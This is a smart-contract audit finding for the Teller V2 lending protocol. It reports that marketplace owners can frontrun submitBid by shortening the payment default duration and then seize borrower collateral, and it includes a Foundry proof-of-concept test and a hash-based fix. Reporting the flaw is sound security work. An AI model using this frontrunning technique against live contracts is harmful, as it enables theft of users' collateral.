juancito - Marketplaces owners can frontrun `submitBid` to steal collateral by modifying market parameters

[sherlock-admin]

juancito

high

Marketplaces owners can frontrun submitBid to steal collateral by modifying market parameters

Summary

TellerV2::submitBid() is vulnerable to frontrunning from marketplace owners. By modifying some parameters just before the borrower transaction they are able to perform different attacks. For example modifying the result of getPaymentDefaultDuration().

This leads to loan payment durations being too short, and making it possible to accept a bid and seize the collateral almost instantly.

Submitting this as an important attack vector mentioned in the README.md that should not be possible to execute:

Market owners should NOT be able to race-condition attack borrowers or lenders by changing market settings while bids are being submitted or accepted (while tx are in mempool). Care has been taken to ensure that this is not possible...

Vulnerability Detail

    bidDefaultDuration[bidId] = marketRegistry.getPaymentDefaultDuration(
        _marketplaceId
    );

Proof of Concept

Add this test to packages/contracts/tests/TellerV2/TellerV2_Test.sol and run forge test -m "test_marketplace_frontrun_exploit":

function test_marketplace_frontrun_exploit() public {
    address payable marketRegistryAddr = payable(address(tellerV2.marketRegistry()));
    MarketRegistry marketRegistry = MarketRegistry(marketRegistryAddr);

    // Malicious market owner sees that a borrower is placing a bid and frontruns them
    // Sets the minimum payment duration possible which is 1
    vm.prank(address(marketOwner));
    marketRegistry.setPaymentDefaultDuration(marketId1, 1);

    // Submit bid as borrower
    uint256 bidId = submitCollateralBid();
    
    // Simulate the marketplace owner waiting for the next block
    // Calculation is done with block.timestamp
    vm.warp(100);

    // The marketplace owner uses their "lender" account
    // Verify its balance before the attack
    assertEq(wethMock.balanceOf(address(lender)), 500000);

    // The "lender" accepts the bid
    acceptBid(bidId);

    // We have to wait at least another block because of the minimum payment duration
    vm.warp(200);

    // The "lender" can seize the collateral
    vm.prank(address(lender));
    collateralManager.withdraw(bidId);

    // The marketplace owner through steals the collateral through his "lender" account
    assertEq(wethMock.balanceOf(address(lender)), 500010);
}

Impact

Lenders are able to instantly seize collateral from borrowers. The attack makes economically sense as loans should be overcollateralized.

Other attacks should be possible by changing other market parameters.

Code Snippet

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/TellerV2.sol#L376-L378

Tool used

Manual Review

Recommendation

A possible solution is already mentioned in the README.md, which was not implemented as the attacked was not proved to be possible. But given the POC, it would make sense to implement it:

The best way to defend against this is to allow borrowers and lenders to specify such loan parameters in their TX such that they are explicitly consenting to them in the tx and then reverting if the market settings conflict with those tx arguments.

My suggestion is to hash the marketplace values and compare them on the _submitBid function:

    function _submitBid(
+       bytes32 _marketHash,
        address _lendingToken,
        uint256 _marketplaceId,
        uint256 _principal,
        uint32 _duration,
        uint16 _APR,
        string calldata _metadataURI,
        address _receiver
    ) internal virtual returns (uint256 bidId_) {
+       bytes32 marketHash = ... // Calculate current market hash from MarketRegistry values
+       require(marketHash == _marketHash, "Hashes must be the same");

Duplicate of #205